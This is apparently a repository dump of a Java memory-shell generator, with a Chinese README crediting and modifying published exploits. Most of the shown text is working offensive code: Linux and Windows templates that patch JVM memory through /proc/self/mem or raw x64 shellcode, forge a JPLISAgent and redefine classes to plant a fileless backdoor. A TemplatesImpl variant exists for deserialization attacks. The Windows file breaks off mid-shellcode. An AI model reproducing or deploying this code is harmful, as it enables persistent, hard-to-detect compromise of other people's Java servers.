[ { "path": "FilelessAgentMemshellGenerator.iml", "content": "\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "MemShellSrc/LinuxAgentMemShell", "content": "import sun.misc.Unsafe;\r\nimport java.io.BufferedReader;\r\nimport java.io.FileReader;\r\nimport java.io.IOException;\r\nimport java.io.RandomAccessFile;\r\nimport java.lang.instrument.ClassDefinition;\r\nimport java.lang.reflect.Constructor;\r\nimport java.lang.reflect.Field;\r\nimport java.lang.reflect.Method;\r\nimport java.nio.ByteBuffer;\r\nimport java.nio.ByteOrder;\r\nimport java.util.Base64;\r\n\r\npublic class AgentMemShell {\r\n static {\r\n try {\r\n agentForLinux(\"{{var1}}\", Base64.getDecoder().decode(\"{{var2}}\"));\r\n } catch (Exception e) {\r\n throw new RuntimeException(e);\r\n }\r\n }\r\n public static void agentForLinux(String className,byte[] classBody) throws Exception {\r\n\r\n FileReader fin = new FileReader(\"/proc/self/maps\");\r\n BufferedReader reader = new BufferedReader(fin);\r\n String line;\r\n long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0;\r\n while ((line = reader.readLine()) != null)\r\n {\r\n String[] splits = line.trim().split(\" \");\r\n if(line.endsWith(\"libjava.so\") && RandomAccessFile_length == 0) {\r\n String[] addr_range = splits[0].split(\"-\");\r\n long libbase = Long.parseLong(addr_range[0], 16);\r\n String elfpath = splits[splits.length - 1];\r\n RandomAccessFile_length = find_symbol(elfpath, \"Java_java_io_RandomAccessFile_length\", libbase);\r\n }else if(line.endsWith(\"libjvm.so\") && JNI_GetCreatedJavaVMs == 0) {\r\n String[] addr_range = splits[0].split(\"-\");\r\n long libbase = Long.parseLong(addr_range[0], 16);\r\n String elfpath = splits[splits.length - 1];\r\n JNI_GetCreatedJavaVMs = find_symbol(elfpath, \"JNI_GetCreatedJavaVMs\", libbase);\r\n }\r\n\r\n if(JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0)\r\n break;\r\n }\r\n fin.close();\r\n\r\n //Modify the native code of Java_java_io_RandomAccessFile_open0 to call JNI_GetCreatedJavaVMs to get JavaVMs, and then get jvmtienv through JavaVMs\r\n RandomAccessFile fout = new RandomAccessFile(\"/proc/self/mem\", \"rw\");\r\n //RSP 16-byte alignment\r\n byte[] stack_align = {0x55, 0x48, (byte)0x89, (byte)0xe5, 0x48, (byte)0xc7, (byte)0xc0, 0xf, 0, 0, 0, 0x48, (byte)0xf7, (byte)0xd0};\r\n\r\n byte[] movabs_rax = {0x48, (byte) 0xb8};\r\n ByteBuffer buffer = ByteBuffer.allocate(Long.BYTES);\r\n buffer.order(ByteOrder.LITTLE_ENDIAN);\r\n buffer.putLong(0, JNI_GetCreatedJavaVMs);\r\n\r\n byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48,\r\n (byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10,\r\n (byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10,\r\n 0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte)0xC9, (byte) 0xC3 };\r\n\r\n int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length;\r\n long landingpad = RandomAccessFile_length;\r\n\r\n byte[] backup = new byte[shellcode_len];\r\n fout.seek(landingpad);\r\n fout.read(backup);\r\n\r\n fout.seek(landingpad);\r\n fout.write(stack_align);\r\n fout.write(movabs_rax);\r\n fout.write(buffer.array());\r\n fout.write(b);\r\n fout.close();\r\n\r\n long native_jvmtienv = fout.length();\r\n\r\n //Recovery Code\r\n fout = new RandomAccessFile(\"/proc/self/mem\", \"rw\");\r\n fout.seek(RandomAccessFile_length);\r\n fout.write(backup);\r\n fout.close();\r\n\r\n Unsafe unsafe = null;\r\n try {\r\n Field field = sun.misc.Unsafe.class.getDeclaredField(\"theUnsafe\");\r\n field.setAccessible(true);\r\n unsafe = (sun.misc.Unsafe) field.get(null);\r\n } catch (Exception e) {\r\n throw new AssertionError(e);\r\n }\r\n //Modified by whocansee: Fill all three positions with values so that they are common across JDK8~JDK11.\r\n unsafe.putByte(native_jvmtienv + 377, (byte) 2);\r\n unsafe.putByte(native_jvmtienv + 369, (byte) 2);\r\n unsafe.putByte(native_jvmtienv + 361, (byte) 2);\r\n //When faking the JPLISAgent structure, you only need to fill in mJVMTIEnv in mNormalEnvironment, and the other variables are not actually used in the code.\r\n long JPLISAgent = unsafe.allocateMemory(0x1000);\r\n unsafe.putLong(JPLISAgent + 8, native_jvmtienv);\r\n //Instantiating InstrumentationImpl with a fake JPLISAgent structure\r\n try {\r\n Class instrument_clazz = Class.forName(\"sun.instrument.InstrumentationImpl\");\r\n Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);\r\n constructor.setAccessible(true);\r\n Object inst = constructor.newInstance(JPLISAgent, true, false);\r\n\r\n ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);\r\n Method redefineClazz = instrument_clazz.getMethod(\"redefineClasses\", ClassDefinition[].class);\r\n redefineClazz.invoke(inst, new Object[] {\r\n new ClassDefinition[] {\r\n definition\r\n }\r\n });\r\n\r\n }catch(Exception e) {\r\n e.printStackTrace();\r\n }\r\n fout.getFD();\r\n\r\n }\r\n private static final int SHT_DYNSYM = 11;\r\n private static final int STT_FUNC =2;\r\n private static final int STT_GNU_IFUNC =10;\r\n\r\n private static int ELF_ST_TYPE(int x) {\r\n return (x & 0xf);\r\n }\r\n\r\n static long find_symbol(String elfpath, String sym, long libbase) throws IOException {\r\n long func_ptr = 0;\r\n RandomAccessFile fin = new RandomAccessFile(elfpath, \"r\");\r\n\r\n byte[] e_ident = new byte[16];\r\n fin.read(e_ident);\r\n short e_type = Short.reverseBytes(fin.readShort());\r\n short e_machine = Short.reverseBytes(fin.readShort());\r\n int e_version = Integer.reverseBytes(fin.readInt());\r\n long e_entry = Long.reverseBytes(fin.readLong());\r\n long e_phoff = Long.reverseBytes(fin.readLong());\r\n long e_shoff = Long.reverseBytes(fin.readLong());\r\n int e_flags = Integer.reverseBytes(fin.readInt());\r\n short e_ehsize = Short.reverseBytes(fin.readShort());\r\n short e_phentsize = Short.reverseBytes(fin.readShort());\r\n short e_phnum = Short.reverseBytes(fin.readShort());\r\n short e_shentsize = Short.reverseBytes(fin.readShort());\r\n short e_shnum = Short.reverseBytes(fin.readShort());\r\n short e_shstrndx = Short.reverseBytes(fin.readShort());\r\n\r\n int sh_name = 0;\r\n int sh_type = 0;\r\n long sh_flags = 0;\r\n long sh_addr = 0;\r\n long sh_offset = 0;\r\n long sh_size = 0;\r\n int sh_link = 0;\r\n int sh_info = 0;\r\n long sh_addralign = 0;\r\n long sh_entsize = 0;\r\n\r\n for(int i = 0; i < e_shnum; ++i) {\r\n fin.seek(e_shoff + i*64);\r\n sh_name = Integer.reverseBytes(fin.readInt());\r\n sh_type = Integer.reverseBytes(fin.readInt());\r\n sh_flags = Long.reverseBytes(fin.readLong());\r\n sh_addr = Long.reverseBytes(fin.readLong());\r\n sh_offset = Long.reverseBytes(fin.readLong());\r\n sh_size = Long.reverseBytes(fin.readLong());\r\n sh_link = Integer.reverseBytes(fin.readInt());\r\n sh_info = Integer.reverseBytes(fin.readInt());\r\n sh_addralign = Long.reverseBytes(fin.readLong());\r\n sh_entsize = Long.reverseBytes(fin.readLong());\r\n if(sh_type == SHT_DYNSYM) {\r\n break;\r\n }\r\n }\r\n\r\n int symtab_shdr_sh_link = sh_link;\r\n long symtab_shdr_sh_size = sh_size;\r\n long symtab_shdr_sh_entsize = sh_entsize;\r\n long symtab_shdr_sh_offset = sh_offset;\r\n\r\n fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize);\r\n sh_name = Integer.reverseBytes(fin.readInt());\r\n sh_type = Integer.reverseBytes(fin.readInt());\r\n sh_flags = Long.reverseBytes(fin.readLong());\r\n sh_addr = Long.reverseBytes(fin.readLong());\r\n sh_offset = Long.reverseBytes(fin.readLong());\r\n sh_size = Long.reverseBytes(fin.readLong());\r\n sh_link = Integer.reverseBytes(fin.readInt());\r\n sh_info = Integer.reverseBytes(fin.readInt());\r\n sh_addralign = Long.reverseBytes(fin.readLong());\r\n sh_entsize = Long.reverseBytes(fin.readLong());\r\n\r\n long symstr_shdr_sh_offset = sh_offset;\r\n\r\n long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size/symtab_shdr_sh_entsize : 0;\r\n for(long i = 0; i < cnt; ++i) {\r\n fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize*i);\r\n int st_name = Integer.reverseBytes(fin.readInt());\r\n byte st_info = fin.readByte();\r\n byte st_other = fin.readByte();\r\n short st_shndx = Short.reverseBytes(fin.readShort());\r\n long st_value = Long.reverseBytes(fin.readLong());\r\n long st_size = Long.reverseBytes(fin.readLong());\r\n if(st_value == 0\r\n || st_name == 0\r\n || (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC))\r\n {\r\n continue;\r\n }\r\n\r\n fin.seek(symstr_shdr_sh_offset + st_name);\r\n String name = \"\";\r\n byte ch = 0;\r\n while((ch = fin.readByte()) != 0)\r\n {\r\n name += (char)ch;\r\n }\r\n\r\n if(sym.equals(name))\r\n {\r\n func_ptr = libbase + st_value;\r\n break;\r\n }\r\n }\r\n\r\n fin.close();\r\n\r\n return func_ptr;\r\n }\r\n}\r\n" }, { "path": "MemShellSrc/LinuxAgentMemShellWithTpl", "content": "import sun.misc.Unsafe;\r\nimport java.io.BufferedReader;\r\nimport java.io.FileReader;\r\nimport java.io.IOException;\r\nimport java.io.RandomAccessFile;\r\nimport java.lang.instrument.ClassDefinition;\r\nimport java.lang.reflect.Constructor;\r\nimport java.lang.reflect.Field;\r\nimport java.lang.reflect.Method;\r\nimport java.nio.ByteBuffer;\r\nimport java.nio.ByteOrder;\r\nimport java.util.Base64;\r\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\r\nimport com.sun.org.apache.xalan.internal.xsltc.TransletException;\r\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\r\nimport com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;\r\nimport com.sun.org.apache.xml.internal.serializer.SerializationHandler;\r\n\r\npublic class AgentMemShell extends AbstractTranslet{\r\n static {\r\n try {\r\n agentForLinux(\"{{var1}}\", Base64.getDecoder().decode(\"{{var2}}\"));\r\n } catch (Exception e) {\r\n throw new RuntimeException(e);\r\n }\r\n }\r\n public static void agentForLinux(String className,byte[] classBody) throws Exception {\r\n\r\n FileReader fin = new FileReader(\"/proc/self/maps\");\r\n BufferedReader reader = new BufferedReader(fin);\r\n String line;\r\n long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0;\r\n while ((line = reader.readLine()) != null)\r\n {\r\n String[] splits = line.trim().split(\" \");\r\n if(line.endsWith(\"libjava.so\") && RandomAccessFile_length == 0) {\r\n String[] addr_range = splits[0].split(\"-\");\r\n long libbase = Long.parseLong(addr_range[0], 16);\r\n String elfpath = splits[splits.length - 1];\r\n RandomAccessFile_length = find_symbol(elfpath, \"Java_java_io_RandomAccessFile_length\", libbase);\r\n }else if(line.endsWith(\"libjvm.so\") && JNI_GetCreatedJavaVMs == 0) {\r\n String[] addr_range = splits[0].split(\"-\");\r\n long libbase = Long.parseLong(addr_range[0], 16);\r\n String elfpath = splits[splits.length - 1];\r\n JNI_GetCreatedJavaVMs = find_symbol(elfpath, \"JNI_GetCreatedJavaVMs\", libbase);\r\n }\r\n\r\n if(JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0)\r\n break;\r\n }\r\n fin.close();\r\n\r\n //Modify the native code of Java_java_io_RandomAccessFile_open0 to call JNI_GetCreatedJavaVMs to get JavaVMs, and then get jvmtienv through JavaVMs\r\n RandomAccessFile fout = new RandomAccessFile(\"/proc/self/mem\", \"rw\");\r\n //RSP 16-byte alignment\r\n byte[] stack_align = {0x55, 0x48, (byte)0x89, (byte)0xe5, 0x48, (byte)0xc7, (byte)0xc0, 0xf, 0, 0, 0, 0x48, (byte)0xf7, (byte)0xd0};\r\n\r\n byte[] movabs_rax = {0x48, (byte) 0xb8};\r\n ByteBuffer buffer = ByteBuffer.allocate(Long.BYTES);\r\n buffer.order(ByteOrder.LITTLE_ENDIAN);\r\n buffer.putLong(0, JNI_GetCreatedJavaVMs);\r\n\r\n byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48,\r\n (byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10,\r\n (byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10,\r\n 0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte)0xC9, (byte) 0xC3 };\r\n\r\n int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length;\r\n long landingpad = RandomAccessFile_length;\r\n\r\n byte[] backup = new byte[shellcode_len];\r\n fout.seek(landingpad);\r\n fout.read(backup);\r\n\r\n fout.seek(landingpad);\r\n fout.write(stack_align);\r\n fout.write(movabs_rax);\r\n fout.write(buffer.array());\r\n fout.write(b);\r\n fout.close();\r\n\r\n long native_jvmtienv = fout.length();\r\n\r\n //Recovery Code\r\n fout = new RandomAccessFile(\"/proc/self/mem\", \"rw\");\r\n fout.seek(RandomAccessFile_length);\r\n fout.write(backup);\r\n fout.close();\r\n\r\n Unsafe unsafe = null;\r\n try {\r\n Field field = sun.misc.Unsafe.class.getDeclaredField(\"theUnsafe\");\r\n field.setAccessible(true);\r\n unsafe = (sun.misc.Unsafe) field.get(null);\r\n } catch (Exception e) {\r\n throw new AssertionError(e);\r\n }\r\n //Modified by whocansee: Fill all three positions with values so that they are common across JDK8~JDK11.\r\n unsafe.putByte(native_jvmtienv + 377, (byte) 2);\r\n unsafe.putByte(native_jvmtienv + 369, (byte) 2);\r\n unsafe.putByte(native_jvmtienv + 361, (byte) 2);\r\n //When faking the JPLISAgent structure, you only need to fill in mJVMTIEnv in mNormalEnvironment, and the other variables are not actually used in the code.\r\n long JPLISAgent = unsafe.allocateMemory(0x1000);\r\n unsafe.putLong(JPLISAgent + 8, native_jvmtienv);\r\n //Instantiating InstrumentationImpl with a fake JPLISAgent structure\r\n try {\r\n Class instrument_clazz = Class.forName(\"sun.instrument.InstrumentationImpl\");\r\n Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);\r\n constructor.setAccessible(true);\r\n Object inst = constructor.newInstance(JPLISAgent, true, false);\r\n\r\n ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);\r\n Method redefineClazz = instrument_clazz.getMethod(\"redefineClasses\", ClassDefinition[].class);\r\n redefineClazz.invoke(inst, new Object[] {\r\n new ClassDefinition[] {\r\n definition\r\n }\r\n });\r\n\r\n }catch(Exception e) {\r\n e.printStackTrace();\r\n }\r\n fout.getFD();\r\n\r\n }\r\n private static final int SHT_DYNSYM = 11;\r\n private static final int STT_FUNC =2;\r\n private static final int STT_GNU_IFUNC =10;\r\n\r\n private static int ELF_ST_TYPE(int x) {\r\n return (x & 0xf);\r\n }\r\n\r\n static long find_symbol(String elfpath, String sym, long libbase) throws IOException {\r\n long func_ptr = 0;\r\n RandomAccessFile fin = new RandomAccessFile(elfpath, \"r\");\r\n\r\n byte[] e_ident = new byte[16];\r\n fin.read(e_ident);\r\n short e_type = Short.reverseBytes(fin.readShort());\r\n short e_machine = Short.reverseBytes(fin.readShort());\r\n int e_version = Integer.reverseBytes(fin.readInt());\r\n long e_entry = Long.reverseBytes(fin.readLong());\r\n long e_phoff = Long.reverseBytes(fin.readLong());\r\n long e_shoff = Long.reverseBytes(fin.readLong());\r\n int e_flags = Integer.reverseBytes(fin.readInt());\r\n short e_ehsize = Short.reverseBytes(fin.readShort());\r\n short e_phentsize = Short.reverseBytes(fin.readShort());\r\n short e_phnum = Short.reverseBytes(fin.readShort());\r\n short e_shentsize = Short.reverseBytes(fin.readShort());\r\n short e_shnum = Short.reverseBytes(fin.readShort());\r\n short e_shstrndx = Short.reverseBytes(fin.readShort());\r\n\r\n int sh_name = 0;\r\n int sh_type = 0;\r\n long sh_flags = 0;\r\n long sh_addr = 0;\r\n long sh_offset = 0;\r\n long sh_size = 0;\r\n int sh_link = 0;\r\n int sh_info = 0;\r\n long sh_addralign = 0;\r\n long sh_entsize = 0;\r\n\r\n for(int i = 0; i < e_shnum; ++i) {\r\n fin.seek(e_shoff + i*64);\r\n sh_name = Integer.reverseBytes(fin.readInt());\r\n sh_type = Integer.reverseBytes(fin.readInt());\r\n sh_flags = Long.reverseBytes(fin.readLong());\r\n sh_addr = Long.reverseBytes(fin.readLong());\r\n sh_offset = Long.reverseBytes(fin.readLong());\r\n sh_size = Long.reverseBytes(fin.readLong());\r\n sh_link = Integer.reverseBytes(fin.readInt());\r\n sh_info = Integer.reverseBytes(fin.readInt());\r\n sh_addralign = Long.reverseBytes(fin.readLong());\r\n sh_entsize = Long.reverseBytes(fin.readLong());\r\n if(sh_type == SHT_DYNSYM) {\r\n break;\r\n }\r\n }\r\n\r\n int symtab_shdr_sh_link = sh_link;\r\n long symtab_shdr_sh_size = sh_size;\r\n long symtab_shdr_sh_entsize = sh_entsize;\r\n long symtab_shdr_sh_offset = sh_offset;\r\n\r\n fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize);\r\n sh_name = Integer.reverseBytes(fin.readInt());\r\n sh_type = Integer.reverseBytes(fin.readInt());\r\n sh_flags = Long.reverseBytes(fin.readLong());\r\n sh_addr = Long.reverseBytes(fin.readLong());\r\n sh_offset = Long.reverseBytes(fin.readLong());\r\n sh_size = Long.reverseBytes(fin.readLong());\r\n sh_link = Integer.reverseBytes(fin.readInt());\r\n sh_info = Integer.reverseBytes(fin.readInt());\r\n sh_addralign = Long.reverseBytes(fin.readLong());\r\n sh_entsize = Long.reverseBytes(fin.readLong());\r\n\r\n long symstr_shdr_sh_offset = sh_offset;\r\n\r\n long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size/symtab_shdr_sh_entsize : 0;\r\n for(long i = 0; i < cnt; ++i) {\r\n fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize*i);\r\n int st_name = Integer.reverseBytes(fin.readInt());\r\n byte st_info = fin.readByte();\r\n byte st_other = fin.readByte();\r\n short st_shndx = Short.reverseBytes(fin.readShort());\r\n long st_value = Long.reverseBytes(fin.readLong());\r\n long st_size = Long.reverseBytes(fin.readLong());\r\n if(st_value == 0\r\n || st_name == 0\r\n || (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC))\r\n {\r\n continue;\r\n }\r\n\r\n fin.seek(symstr_shdr_sh_offset + st_name);\r\n String name = \"\";\r\n byte ch = 0;\r\n while((ch = fin.readByte()) != 0)\r\n {\r\n name += (char)ch;\r\n }\r\n\r\n if(sym.equals(name))\r\n {\r\n func_ptr = libbase + st_value;\r\n break;\r\n }\r\n }\r\n\r\n fin.close();\r\n\r\n return func_ptr;\r\n }\r\n @Override\r\n public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {\r\n\r\n }\r\n\r\n @Override\r\n public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {\r\n\r\n }\r\n}\r\n" }, { "path": "MemShellSrc/README.md", "content": "## EXP来源\r\n\r\nhttps://xz.aliyun.com/t/11640\r\n\r\n对于Windows目标 [rebeyond](https://xz.aliyun.com/u/8697)\r\n\r\n对于Linux目标 [**游望之**](https://xz.aliyun.com/u/40732) \r\n\r\n## 修改\r\n\r\n### Windows\r\n\r\n原EXP中，rebeyond将类名设置为`WindowsVirtualMachine`，从而能够调用`enqueue`方法\r\n\r\n但这无法应对JDK8以上的环境，也不能无视目标是否已经加载过这个类\r\n\r\n参考其在[另一篇文章](https://xz.aliyun.com/t/10075#toc-4)中提出的方法：\r\n\r\n**自定义类调用系统Native库函数**，再将这个类硬编码在最终类中，在类里**再写一个**类加载器，调用它去解码并加载类\r\n\r\n这个操作会多生成一个内部类，而在实际注入中并不能一次性加载多个类，因此我**做了一些修改 :**\r\n\r\n**直接让最终类继承ClassLoader**，然后再在其静态代码块中加载自定义的类，从而能够无视目标类加载情况一次完成注入\r\n\r\n### Linux\r\n\r\n没有进行专门的修改\r\n\r\n### 适配生成器\r\n\r\n- 向多个可能的内存地址都填充值\r\n\r\n\r\n```java\r\nunsafe.putByte(native_jvmtienv + 377, (byte) 2);\r\nunsafe.putByte(native_jvmtienv + 361, (byte) 2);\r\nunsafe.putByte(native_jvmtienv + 369, (byte) 2);\r\n```\r\n\r\n- 将注入逻辑从待调用的方法中移到了静态代码块中\r\n\r\n- 向类名和字节码中填充了占位符\r\n\r\n- 增添了几个适用于templatesImpl或Java 8以上目标环境的EXP版本\r\n" }, { "path": "MemShellSrc/WindowsAgentMemShell", "content": "import sun.misc.Unsafe;\r\nimport java.io.IOException;\r\nimport java.lang.instrument.ClassDefinition;\r\nimport java.lang.reflect.Constructor;\r\nimport java.lang.reflect.Field;\r\nimport java.lang.reflect.Method;\r\nimport java.util.Base64;\r\n\r\npublic class AgentMemShell extends ClassLoader\r\n{\r\n public Class get(byte[] b) {\r\n return super.defineClass(b, 0, b.length);\r\n }\r\n public static int pointerLength={{var3}};\r\n static {\r\n try {\r\n AgentForWindows(\"{{var1}}\", Base64.getDecoder().decode(\"{{var2}}\"));\r\n } catch (Exception e) {\r\n throw new RuntimeException(e);\r\n }\r\n }\r\n\r\n static native void enqueue(long hProcess, byte[] stub,\r\n String cmd, String pipename, Object... args) throws IOException;\r\n\r\n public static void AgentForWindows (String className,byte[] classBody) throws Exception {\r\n String classStr = \"yv66vgAAADQALwoABwAeCAAfCgAgACEF//////////8IACIHACMKAAsAJAcAJQoACQAmBwAnAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAB2VucXVldWUBAD0oSltCTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylWAQAKRXhjZXB0aW9ucwcAKAEAC29wZW5Qcm9jZXNzAQAEKEkpSgEAA3J1bgEABShbQilWAQANU3RhY2tNYXBUYWJsZQcAJQcAKQcAKgEAClNvdXJjZUZpbGUBABpXaW5kb3dzVmlydHVhbE1hY2hpbmUuamF2YQwADAANAQAGYXR0YWNoBwArDAAsAC0BAAR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAwAEAARAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwALgANAQAmc3VuL3Rvb2xzL2F0dGFjaC9XaW5kb3dzVmlydHVhbE1hY2hpbmUBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQATamF2YS9sYW5nL1Rocm93YWJsZQEAAltCAQAQamF2YS9sYW5nL1N5c3RlbQEAC2xvYWRMaWJyYXJ5AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAPcHJpbnRTdGFja1RyYWNlACEACwAHAAAAAAAEAAEADAANAAEADgAAAB0AAQABAAAABSq3AAGxAAAAAQAPAAAABgABAAAABQGIABAAEQABABIAAAAEAAEAEwEIABQAFQABABIAAAAEAAEAEwAJABYAFwABAA4AAAC/AAYABAAAADoSArgAAxQABCoSBhIGA70AB7gACKcAJUwrtgAKpwAdTRQABCoSBhIGA70AB7gACKcACE4ttgAKLL+xAAMABQAUABcACQAAAAUAHwAAACAALwAyAAkAAgAPAAAANgANAAAACwAFAA4AFAARABcADwAYABAAHAASAB8ADQAgAA4ALwARADIADwAzABAANwASADkAEwAYAAAAHwAFVwcAGUcHABr/ABIAAwcAGwAHABoAAQcAGQT5AAEAAQAcAAAAAgAd\";\r\n Class result = new AgentMemShell().get(Base64.getDecoder().decode(classStr));\r\n\r\n Unsafe unsafe = null;\r\n try {\r\n Field field = sun.misc.Unsafe.class.getDeclaredField(\"theUnsafe\");\r\n field.setAccessible(true);\r\n unsafe = (sun.misc.Unsafe) field.get(null);\r\n } catch (Exception e) {\r\n throw new AssertionError(e);\r\n }\r\n\r\n long JPLISAgent = unsafe.allocateMemory(0x1000);\r\n\r\n byte[] buf=new byte[]{(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xE4,(byte)0xF0,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x65,(byte)0x48,(byte)0x8B,(byte)0x41,(byte)0x60,(byte)0x48,(byte)0x8B,(byte)0x40,(byte)0x18,(byte)0x48,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x96,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x8B,(byte)0x58,(byte)0x20,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x44,(byte)0x8B,(byte)0x43,(byte)0x3C,(byte)0x4C,(byte)0x89,(byte)0xC2,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x44,(byte)0x8B,(byte)0x82,(byte)0x88,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x01,(byte)0xD8,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x49,(byte)0xB9,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x50,(byte)0x72,(byte)0x6F,(byte)0x63,(byte)0x41,(byte)0x48,(byte)0xFF,(byte)0xC1,(byte)0x48,(byte)0x31,(byte)0xC0,(byte)0x8B,(byte)0x04,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xD8,(byte)0x4C,(byte)0x39,(byte)0x08,(byte)0x75,(byte)0xEF,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x24,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x66,(byte)0x8B,(byte)0x0C,(byte)0x4E,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x1C,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xD2,(byte)0x8B,(byte)0x14,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x48,(byte)0x89,(byte)0xD7,(byte)0xB9,(byte)0x61,(byte)0x72,(byte)0x79,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4C,(byte)0x6F,(byte)0x61,(byte)0x64,(byte)0x4C,(byte)0x69,(byte)0x62,(byte)0x72,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x48,(byte)0x89,(byte)0xD9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x48,(byte)0x89,(byte)0xC6,(byte)0xB9,(byte)0x6C,(byte)0x6C,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0xB9,(byte)0x6A,(byte)0x76,(byte)0x6D,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD6,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x48,(byte)0xB9,(byte)0x76,(byte)0x61,(byte)0x56,(byte)0x4D,(byte)0x73,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x72,(byte)0x65,(byte)0x61,(byte)0x74,(byte)0x65,(byte)0x64,(byte)0x4A,(byte)0x61,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4A,(byte)0x4E,(byte)0x49,(byte)0x5F,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x43,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4C,(byte)0x89,(byte)0xF9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x18,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0xBA,(byte)0x01,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x89,(byte)0xC8,(byte)0x49,(byte)0x83,(byte)0xC0,(byte)0x08,(byte)0x48,(byte)0x83,(byte)0x